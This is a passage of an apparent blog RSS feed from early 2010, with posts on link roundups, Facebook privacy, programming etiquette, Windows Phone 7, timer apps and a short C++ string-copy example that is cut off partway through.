&lt;p&gt;&lt;code&gt;sudo&lt;/code&gt; is required as you need admin privileges to modify the file. &lt;code&gt;gedit&lt;/code&gt; is the graphical editor; you can replace that with another editor of your choice.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #20</title>
      <link>/post/2010/02/interesting-find-20/</link>
      <pubDate>Thu, 18 Feb 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/02/interesting-find-20/</guid>
      <description>&lt;p&gt;The next post in the interesting find series.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://cwe.mitre.org/top25/#Listing&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Top 25 ‘most dangerous’ programming errors for 2009
	&lt;/span&gt;
&lt;/a&gt; – interesting read as always. :)&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.guardian.co.uk/technology/2009/dec/09/best-websites-internet&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		The 100 essential websites
	&lt;/span&gt;
&lt;/a&gt; – from the Guardian.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://pleaserobme.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Please Rob Me.com
	&lt;/span&gt;
&lt;/a&gt; – the &lt;a
	
		href = &#34;http://news.cnet.com/8301-13577_3-10454981-36.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		dark side of geocoding
	&lt;/span&gt;
&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.tweaktown.com/guides/3116/tweaktown_s_solid_state_drive_optimization_guide/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SSD Optimisation guide
	&lt;/span&gt;
&lt;/a&gt; - a must read if anyone is thinking of buying a SSD drive.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://37signals.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		37Signals
	&lt;/span&gt;
&lt;/a&gt; – simple web based apps (instead of bloatware) covering things like managing projects, tracking contacts, organizing your business, etc. (Not free in case you were wondering).&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.ksplice.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Never reboot Linux
	&lt;/span&gt;
&lt;/a&gt; - even when updating the Kernel. When can Windows have this?&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.ocztechnologyforum.com/forum/showthread.php?49779-SSD-Tweak-Utility&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SSD Tweak Utility
	&lt;/span&gt;
&lt;/a&gt; - if you still want to tweak more things after reading the SSD optimisation guide above.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.thycotic.com/fsunit-test-fsharp-with-fsharp&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		FsUnit
	&lt;/span&gt;
&lt;/a&gt; – Test F# with F# - I think the name says it all.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://devzing.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		devZing
	&lt;/span&gt;
&lt;/a&gt; - No hassle open source project management hosting (from $10 / month); though I wonder why you can&amp;rsquo;t use google for this.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.jollat.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Jollat
	&lt;/span&gt;
&lt;/a&gt; – a cool GUI for you AWS (Amazon Web Services) which allows you to manage S3 and EC2 on Amazon – runs on Windows, Linux and Mac.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/events/podcasts/default.mspx#PodcastsforITProfessionals&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Podcasts from MS
	&lt;/span&gt;
&lt;/a&gt; – the name says it all.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.cio.com/article/452566/Digging_for_Sensitive_Information_Sites_to_Find_and_Reveal_the_Truth_About_Anyone&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Digging for Sensitive information
	&lt;/span&gt;
&lt;/a&gt; – how to get details on someone you know.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;https://panopticlick.eff.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Panopticlick
	&lt;/span&gt;
&lt;/a&gt; — How unique, and trackable, is your browser? My browser fingerprint appears to be unique among the 641,692 tested so far which is quite scary!&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyID=79f19684-f862-4e02-a2b0-0003b4565f34&amp;amp;displaylang=en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SideShow for Windows Mobile
	&lt;/span&gt;
&lt;/a&gt; Developer Preview – only works with Win7.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://sqlblog.com/blogs/joe_chang/archive/2008/08/17/large-query-performance-from-sql-server-2000-to-2008-32-64-bit.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Large Query performance stats from SQL 2K to 2K8
	&lt;/span&gt;
&lt;/a&gt; – quite interesting and covers both x32 and x64.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://www.presentationfx.com/art.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		PresentationFx
	&lt;/span&gt;
&lt;/a&gt; – provides free PowerPoint templates and artwork.&lt;/li&gt;
&lt;li&gt;&lt;a
	
		href = &#34;http://chris.pirillo.com/how-to-make-a-cool-windows-vista-screensaver/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Making a cool Vista Screensaver
	&lt;/span&gt;
&lt;/a&gt; – this should also work on Win7 (not tried this btw).&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Facebook and Security again</title>
      <link>/post/2010/02/facebook-and-security-again/</link>
      <pubDate>Wed, 17 Feb 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/02/facebook-and-security-again/</guid>
      <description>&lt;p&gt;Facebook and &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/2010/01/06/is-it-time-to-relook-at-facebook-again/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		my views of it in the context of Privacy and Security
	&lt;/span&gt;
&lt;/a&gt; are well known. &lt;strong&gt;&lt;a
	
		href = &#34;http://therumpus.net/2010/01/conversations-about-the-internet-5-anonymous-facebook-employee/?full=yes&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		This conversation
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt; with one of their (anonymous) employees detailing a few internal processes and tools is actually quite scary.&lt;/p&gt;
&lt;p&gt;Now, I don’t know if this is true and how much of this is true; but if I was working for Facebook then all of this is quite logical and makes sense. And, technically all the things talked about is very feasible and not too challenging (of course am over simplifying here).&lt;/p&gt;
&lt;p&gt;I do have to admit that the perf and scalability challenges are quite interesting and would love to sink my teeth in it – I guess I need to look at PHP first. :)&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Ten commandments of Programming</title>
      <link>/post/2010/02/ten-commandments-of-programming/</link>
      <pubDate>Wed, 17 Feb 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/02/ten-commandments-of-programming/</guid>
      <description>&lt;p&gt;I came across the &lt;a
	
		href = &#34;http://articles.techrepublic.com.com/5100-10878_11-1045782.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Ten commandments of Programming
	&lt;/span&gt;
&lt;/a&gt; while looking at a &lt;a
	
		href = &#34;http://stackoverflow.com/questions/2281584/how-to-become-a-software-engineer&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		question on StackOverflow
	&lt;/span&gt;
&lt;/a&gt; and I can&amp;rsquo;t believe I have not seen these before. I think every developer, lead, architect, dba, pm, whoever should print this out! 8-)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Understand and accept that you will make mistakes. The point is to find them early, before they make it into production. Fortunately, except for the few of us developing rocket guidance software at JPL, mistakes are rarely fatal in our industry, so we can, and should, learn, laugh, and move on.&lt;/li&gt;
&lt;li&gt;You are not your code. Remember that the entire point of a review is to find problems, and problems will be found. Don&amp;rsquo;t take it personally when one is uncovered.&lt;/li&gt;
&lt;li&gt;No matter how much &amp;ldquo;karate&amp;rdquo; you know, someone else will always know more. Such an individual can teach you some new moves if you ask. Seek and accept input from others, especially when you think it&amp;rsquo;s not needed.&lt;/li&gt;
&lt;li&gt;Don&amp;rsquo;t rewrite code without consultation. There&amp;rsquo;s a fine line between &amp;ldquo;fixing code&amp;rdquo; and &amp;ldquo;rewriting code.&amp;rdquo; Know the difference, and pursue stylistic changes within the framework of a code review, not as a lone enforcer.&lt;/li&gt;
&lt;li&gt;Treat people who know less than you with respect, deference, and patience. Nontechnical people who deal with developers on a regular basis almost universally hold the opinion that we are prima donnas at best and crybabies at worst. Don&amp;rsquo;t reinforce this stereotype with anger and impatience.&lt;/li&gt;
&lt;li&gt;The only constant in the world is change. Be open to it and accept it with a smile. Look at each change to your requirements, platform, or tool as a new challenge, not as some serious inconvenience to be fought.&lt;/li&gt;
&lt;li&gt;The only true authority stems from knowledge, not from position. Knowledge engenders authority, and authority engenders respect—so if you want respect in an egoless environment, cultivate knowledge.&lt;/li&gt;
&lt;li&gt;Fight for what you believe, but gracefully accept defeat. Understand that sometimes your ideas will be overruled. Even if you do turn out to be right, don&amp;rsquo;t take revenge or say, &amp;ldquo;I told you so&amp;rdquo; more than a few times at most, and don&amp;rsquo;t make your dearly departed idea a martyr or rallying cry.&lt;/li&gt;
&lt;li&gt;Don&amp;rsquo;t be &amp;ldquo;the guy in the room.&amp;rdquo; Don&amp;rsquo;t be the guy coding in the dark office emerging only to buy cola. The guy in the room is out of touch, out of sight, and out of control and has no place in an open, collaborative environment.&lt;/li&gt;
&lt;li&gt;Critique code instead of people—be kind to the coder, not to the code.As much as possible, make all of your comments positive and oriented to improving the code. Relate comments to local standards, program specs, increased performance, etc.&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Windows Phone 7</title>
      <link>/post/2010/02/windows-phone-7/</link>
      <pubDate>Mon, 15 Feb 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/02/windows-phone-7/</guid>
      <description>&lt;p&gt;So you would have heard what all the buzz (not Google!) is about. Check out the feature video for Windows Phone 7. I have a Zune HD and the UI is very similar and I cannot wait for it!&lt;/p&gt;
&lt;p&gt;After a lot of disappointment with WinMo’s and becoming the joke in my friend/nerd/geek/co-worker circle for still have a WinMo phone, would love to see everyone’s faces when I get this. :)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I also like the &lt;a
	
		href = &#34;http://www.engadget.com/photos/windows-phone-7-series-interface/#2710479&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		new Office GUI
	&lt;/span&gt;
&lt;/a&gt; – how cool is that?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Bing Maps adding Flickr images, live video, stars</title>
      <link>/post/2010/02/bing-maps-adding-flickr-images-live-video-stars/</link>
      <pubDate>Sun, 14 Feb 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/02/bing-maps-adding-flickr-images-live-video-stars/</guid>
      <description>&lt;p&gt;Bing Maps adding Flickr images, live video and stars - very cool.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; The official TED video below is quite cool and in addition to the one above, also adds more interesting features such as video – check it out.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Colourful India</title>
      <link>/post/2010/02/colourful-india/</link>
      <pubDate>Sat, 06 Feb 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/02/colourful-india/</guid>
      <description>&lt;p&gt;&lt;a
	
		href = &#34;http://j.mp/8XdRHN&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Awesome photos
	&lt;/span&gt;
&lt;/a&gt; of Colourful India.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Interesting Find #19</title>
      <link>/post/2010/02/interesting-find-19/</link>
      <pubDate>Tue, 02 Feb 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/02/interesting-find-19/</guid>
      <description>&lt;p&gt;Wow it has been a while since I posted an Interesting find and instead of the usual list I though I will keep this especially for timers. Timers Galore!&lt;/p&gt;
&lt;p&gt;So I was looking for a simple countdown timer that I can run on my laptop to keep tracking of a few things and I found a few very interesting things.&lt;/p&gt;
&lt;p&gt;If you prefer to download an app and run it from your desktop (Windows) then check out &lt;a
	
		href = &#34;http://www.orzeszek.org/dev/timer/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Timer
	&lt;/span&gt;
&lt;/a&gt; from Orzeszek. There are a few other interesting dev projects there such as &lt;a
	
		href = &#34;http://www.orzeszek.org/dev/transfer/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		transferring large files over http
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;If Windows is not your flavour of the day, or you don’t want to (or can’t) install an application and want to use a timer in a browser you can of course use something like &lt;a
	
		href = &#34;http://www.online-stopwatch.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		online stop watch
	&lt;/span&gt;
&lt;/a&gt;, but I suggest you check out &lt;a
	
		href = &#34;http://e.ggtimer.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		e.ggtimer.com
	&lt;/span&gt;
&lt;/a&gt; which is way cooler.&lt;/p&gt;
&lt;p&gt;If you are like me and when running meetings or presenting tend to get too excited and run over, then maybe &lt;a
	
		href = &#34;http://nextup.info/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		NextUp
	&lt;/span&gt;
&lt;/a&gt; is the thing for you.&lt;/p&gt;
&lt;p&gt;And if coffee is your not cup of tea (groan! :)) then check out &lt;a
	
		href = &#34;http://steep.it/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Steep.It
	&lt;/span&gt;
&lt;/a&gt; which is claims to be the simplest internet tea timer ever – telling you how long to steep your tea to get your perfect &lt;a
	
		href = &#34;http://www.thefreedictionary.com/cuppa&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		cuppa
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;And if you are old school and prefer .ini files (whoa! programs still use that?) then check out &lt;a
	
		href = &#34;http://www.elegantpie.com/eggtimer.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		eggtimer
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Geeky Joke #1</title>
      <link>/post/2010/01/geeky-joke-1/</link>
      <pubDate>Sun, 31 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/01/geeky-joke-1/</guid>
      <description>&lt;p&gt;I am going to start posting the geeky jokes I find as a series. These are more for me to make them easy to find, as I cannot seem to recall any of them when I need to. Here is the first one which I also tweeted:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Yo mama&amp;rsquo;s so slow and dumb that she can be emulated on a 286.&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>Thinking of a new WHS device/machine</title>
      <link>/post/2010/01/thinking-of-a-new-whs-devicemachine/</link>
      <pubDate>Sun, 31 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/01/thinking-of-a-new-whs-devicemachine/</guid>
      <description>&lt;p&gt;Not sure how many of you know, but I &lt;a
	
		href = &#34;http://desigeek.com/blog/amit/tag/whs/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		run my WHS
	&lt;/span&gt;
&lt;/a&gt; on a old Dell Desktop (its about 8ish years old) which ran out of available USB ports sometime back and all my attached drives are also filling up and I am now running low on space. I was thinking of getting a dedicated WHS device/machine (not sure what to call it), such as &lt;a
	
		href = &#34;http://www.hp.com/go/mediasmartserver&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		HP&#39;s MediaSmart Server
	&lt;/span&gt;
&lt;/a&gt; or &lt;a
	
		href = &#34;http://www.amazon.com/Acer-Aspire-AH340-UA230N-Home-Server/dp/B001WGX15W/ref=sr_1_1?ie=UTF8&amp;amp;s=electronics&amp;amp;qid=1243399793&amp;amp;sr=8-1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Acer&#39;s easyStore
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Does anyone know any details of the next version of WHS (based on Win7)? When is it coming out, etc? If it is in a few months then I can hang on and clean up some space and make do. If it is in another year or so then that it too long to wait and I will probably go ahead and look to get something. Any ideas anyone?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; How eerie? Soon after posting this I find (via Twitter) &lt;a
	
		href = &#34;http://blogs.zdnet.com/microsoft/?p=5063&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		this post from Mary-Jo
	&lt;/span&gt;
&lt;/a&gt; talking about the next version of WHS codenamed &amp;lsquo;Vail&amp;rsquo; is leaked. You can find &lt;a
	
		href = &#34;http://content.zdnet.com/2346-17923_22-388077-1.html?tag=content;col1&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		screen shot here
	&lt;/span&gt;
&lt;/a&gt; and a &lt;a
	
		href = &#34;http://blogs.zdnet.com/igeneration/?p=4025&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		short video here
	&lt;/span&gt;
&lt;/a&gt;. There is no mention of any time-lines though - any ideas?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>CNR</title>
      <link>/post/2010/01/cnr/</link>
      <pubDate>Fri, 29 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/01/cnr/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;figure&gt;
        &lt;img src=&#34;images/cnr.png&#34; alt=&#34;CNR&#34;/&gt;
        &lt;figcaption&gt;CNR&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;[&lt;a
	
		href = &#34;http://xkcd.com/583/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		via xkcd.com
	&lt;/span&gt;
&lt;/a&gt;]&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Win 3.1 experience in your browser</title>
      <link>/post/2010/01/win-3-1-experience-in-your-browser/</link>
      <pubDate>Sun, 24 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/01/win-3-1-experience-in-your-browser/</guid>
      <description>&lt;p&gt;If you ever wanted a Win 3.1 experience in your broswer (why I cannot imagine - &lt;a
	
		href = &#34;http://twitter.com/bahree/status/7382993225&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		despite me running a VM
	&lt;/span&gt;
&lt;/a&gt;), then check out &lt;a
	
		href = &#34;http://www.michaelv.org/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		michaelv.org
	&lt;/span&gt;
&lt;/a&gt;. The irony of all of this is that there is a modern browser in that which seems to be compliant with the standards (it pases the ACID2 tests; fails the ACID3). 🤨&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Copying strings in C&#43;&#43;</title>
      <link>/post/2010/01/copying-strings-in-cpp/</link>
      <pubDate>Sat, 23 Jan 2010 00:00:00 +0000</pubDate>
      
      <guid>/post/2010/01/copying-strings-in-cpp/</guid>
      <description>&lt;p&gt;Here is a good example on why either you love C++ or hate it with such terse expression oriented code; I think its pretty cool.&lt;/p&gt;
&lt;p&gt;If you want to copy one string to another, one option can be something like this.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt;4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt;5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt;6&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-cpp&#34; data-lang=&#34;cpp&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ed8796&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;mycopy&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;p, &lt;span style=&#34;color:#ed8796&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt;q) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; len &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; strlen(q);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt;(&lt;span style=&#34;color:#ed8796&#34;&gt;int&lt;/span&gt; i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;; i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;&amp;amp;&lt;/span&gt;lt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;len; i&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;++&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        p[i] &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; q[i];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;However this achieves the same thing as above and is more efficient:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt;1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt;2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt;3&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
